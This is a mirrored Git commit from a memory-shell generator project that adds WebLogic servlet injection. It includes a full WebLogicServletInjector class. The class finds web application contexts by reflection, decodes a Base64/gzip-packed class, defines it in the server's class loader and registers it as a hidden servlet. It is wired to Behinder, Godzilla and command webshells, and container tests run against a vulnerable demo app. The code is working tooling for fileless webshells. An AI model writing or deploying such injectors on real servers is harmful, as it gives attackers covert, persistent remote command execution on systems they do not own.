mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support weblogic servlet (resolved #5)
This commit is contained in:
@@ -44,11 +44,11 @@
|
||||
| Listener | Listener | Filter | Filter |
|
||||
| | | Listener | Listener |
|
||||
|
||||
| WebSphere(7 ~ 9) | WebLogic (10 ~ 14) |
|
||||
|------------------|--------------------|
|
||||
| Servlet | Filter |
|
||||
| Filter | Listener |
|
||||
| Listener | |
|
||||
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||
|------------------|-------------------------|
|
||||
| Servlet | Servlet |
|
||||
| Filter | Filter |
|
||||
| Listener | Listener |
|
||||
|
||||
| 宝兰德 BES | 东方通 TongWeb | 中创 InforSuite AS (9 ~ 10) | 金蝶 Apusic AS |
|
||||
|---------|-------------|---------------------------|--------------|
|
||||
|
||||
@@ -2,13 +2,17 @@ package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.weblogic.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector;
|
||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector;
|
||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.Map;
|
||||
@@ -21,6 +25,7 @@ public class WebLogicShell extends AbstractShell {
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
return Map.of(
|
||||
Constants.SERVLET, Pair.of(BehinderServlet.class, WebLogicServletInjector.class),
|
||||
Constants.FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class)
|
||||
);
|
||||
@@ -29,6 +34,7 @@ public class WebLogicShell extends AbstractShell {
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
Constants.SERVLET, Pair.of(CommandServlet.class, WebLogicServletInjector.class),
|
||||
Constants.FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class)
|
||||
);
|
||||
@@ -37,6 +43,7 @@ public class WebLogicShell extends AbstractShell {
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
return Map.of(
|
||||
Constants.SERVLET, Pair.of(GodzillaServlet.class, WebLogicServletInjector.class),
|
||||
Constants.FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class)
|
||||
);
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
services:
|
||||
weblogic1036:
|
||||
image: reajason/weblogic:10.3.6
|
||||
container_name: weblogic1036
|
||||
ports:
|
||||
- "7001:7001"
|
||||
- "5005:5005"
|
||||
environment:
|
||||
JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"
|
||||
volumes:
|
||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war
|
||||
+8
-6
@@ -6,6 +6,7 @@ import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
@@ -36,6 +37,9 @@ public class WebLogic1036ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||
@@ -45,12 +49,10 @@ public class WebLogic1036ContainerTest {
|
||||
);
|
||||
}
|
||||
|
||||
// @AfterAll
|
||||
// static void tearDown() {
|
||||
// String logs = container.getLogs();
|
||||
// log.info(logs);
|
||||
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
// }
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
|
||||
+3
-1
@@ -39,6 +39,9 @@ public class WebLogic12214ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||
@@ -51,7 +54,6 @@ public class WebLogic12214ContainerTest {
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
|
||||
+3
-1
@@ -39,6 +39,9 @@ public class WebLogic14110ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||
@@ -51,7 +54,6 @@ public class WebLogic14110ContainerTest {
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
|
||||
-6
@@ -22,7 +22,6 @@ public class WebLogicFilterInjector {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
@@ -153,9 +152,6 @@ public class WebLogicFilterInjector {
|
||||
return obj;
|
||||
}
|
||||
|
||||
/**
|
||||
* https://github.com/BeichenDream/GodzillaMemoryShellProject
|
||||
*/
|
||||
@SuppressWarnings("unchecked")
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
if (isInjected(context)) {
|
||||
@@ -164,10 +160,8 @@ public class WebLogicFilterInjector {
|
||||
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
|
||||
Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null);
|
||||
Map<String, Class<?>> cachedClasses = (Map<String, Class<?>>) getFieldValue(servletClassLoader, "cachedClasses");
|
||||
//或者直接反射在这个classloader定义类 就不用写缓存了 不过就要硬编码一个class了
|
||||
cachedClasses.put(getClassName(), filter.getClass());
|
||||
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
|
||||
//将filter置为第一位
|
||||
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
|
||||
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
|
||||
filterPatternList.add(0, currentMapping);
|
||||
|
||||
+250
@@ -0,0 +1,250 @@
|
||||
package com.reajason.javaweb.memshell.weblogic.injector;
|
||||
|
||||
import javax.servlet.Servlet;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class WebLogicServletInjector {
|
||||
|
||||
static {
|
||||
new WebLogicServletInjector();
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public WebLogicServletInjector() {
|
||||
try {
|
||||
Object[] contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object servlet = getShell(context);
|
||||
inject(context, servlet);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public static Object[] getContextsByMbean() throws Throwable {
|
||||
Set<Object> webappContexts = new HashSet<Object>();
|
||||
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
||||
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
||||
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
||||
theOneMethod.setAccessible(true);
|
||||
Object serverRuntime = theOneMethod.invoke(null);
|
||||
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
||||
getApplicationRuntimesMethod.setAccessible(true);
|
||||
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
||||
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
||||
for (int i = 0; i < applicationRuntimeSize; i++) {
|
||||
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
||||
try {
|
||||
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
||||
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
||||
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
||||
for (int j = 0; j < componentRuntimeSize; j++) {
|
||||
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
|
||||
if (webAppServletContextClass.isInstance(context)) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
|
||||
try {
|
||||
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
|
||||
for (Object componentRuntime : childrenSet) {
|
||||
try {
|
||||
Object context = getFieldValue(componentRuntime, "context");
|
||||
if (webAppServletContextClass.isInstance(context)) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
public static Object[] getContextsByThreads() throws Throwable {
|
||||
Set<Object> webappContexts = new HashSet<Object>();
|
||||
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
|
||||
int threadCount = threadGroup.activeCount();
|
||||
Thread[] threads = new Thread[threadCount];
|
||||
threadGroup.enumerate(threads);
|
||||
for (int i = 0; i < threadCount; i++) {
|
||||
Thread thread = threads[i];
|
||||
if (thread != null) {
|
||||
Object workEntry = getFieldValue(thread, "workEntry");
|
||||
if (workEntry != null) {
|
||||
try {
|
||||
Object context = null;
|
||||
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||
if (connectionHandler != null) {
|
||||
Object request = getFieldValue(connectionHandler, "request");
|
||||
if (request != null) {
|
||||
context = getFieldValue(request, "context");
|
||||
}
|
||||
}
|
||||
if (context == null) {
|
||||
context = getFieldValue(workEntry, "context");
|
||||
}
|
||||
|
||||
if (context != null) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
public static Object[] getContext() {
|
||||
Set<Object> webappContexts = new HashSet<Object>();
|
||||
try {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
Object obj;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
obj = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
obj = clazz.newInstance();
|
||||
}
|
||||
return obj;
|
||||
}
|
||||
|
||||
/**
|
||||
* server/lib/weblogic.jar
|
||||
* weblogic.servlet.internal.WebAppServletContext
|
||||
*/
|
||||
public void inject(Object context, Object servlet) throws Exception {
|
||||
// weblogic.servlet.utils.URLMapping
|
||||
Object servletMapping = invokeMethod(context, "getServletMapping", null, null);
|
||||
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
||||
Class<?> servletStubImplClass = Class.forName("weblogic.servlet.internal.ServletStubImpl");
|
||||
Object servletStub = null;
|
||||
Constructor<?> servletStubImplConstructor = null;
|
||||
try {
|
||||
servletStubImplConstructor = servletStubImplClass.getDeclaredConstructor(String.class, Servlet.class, webAppServletContextClass);
|
||||
servletStubImplConstructor.setAccessible(true);
|
||||
servletStub = servletStubImplConstructor.newInstance(getClassName(), servlet, context);
|
||||
} catch (NoSuchMethodException e) {
|
||||
// 10.3.6
|
||||
servletStubImplConstructor = servletStubImplClass.getDeclaredConstructor(String.class, String.class, webAppServletContextClass, Map.class);
|
||||
servletStubImplConstructor.setAccessible(true);
|
||||
servletStub = servletStubImplConstructor.newInstance(getClassName(), getClassName(), context, null);
|
||||
}
|
||||
Constructor<?> urlMatchHelperConstructor = Class.forName("weblogic.servlet.internal.URLMatchHelper").getDeclaredConstructor(String.class, servletStubImplClass);
|
||||
urlMatchHelperConstructor.setAccessible(true);
|
||||
Object urlMatchHelper = urlMatchHelperConstructor.newInstance(getUrlPattern(), servletStub);
|
||||
Object mapping = invokeMethod(servletMapping, "get", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
if (mapping == null) {
|
||||
invokeMethod(servletMapping, "put", new Class[]{String.class, Object.class}, new Object[]{getUrlPattern(), urlMatchHelper});
|
||||
System.out.println("servlet inject successful");
|
||||
} else {
|
||||
System.out.println("servlet already injected");
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
try {
|
||||
gzipInputStream.close();
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
Method method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
for (Class<?> clazz = obj.getClass(); clazz != Object.class; clazz = clazz.getSuperclass()) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user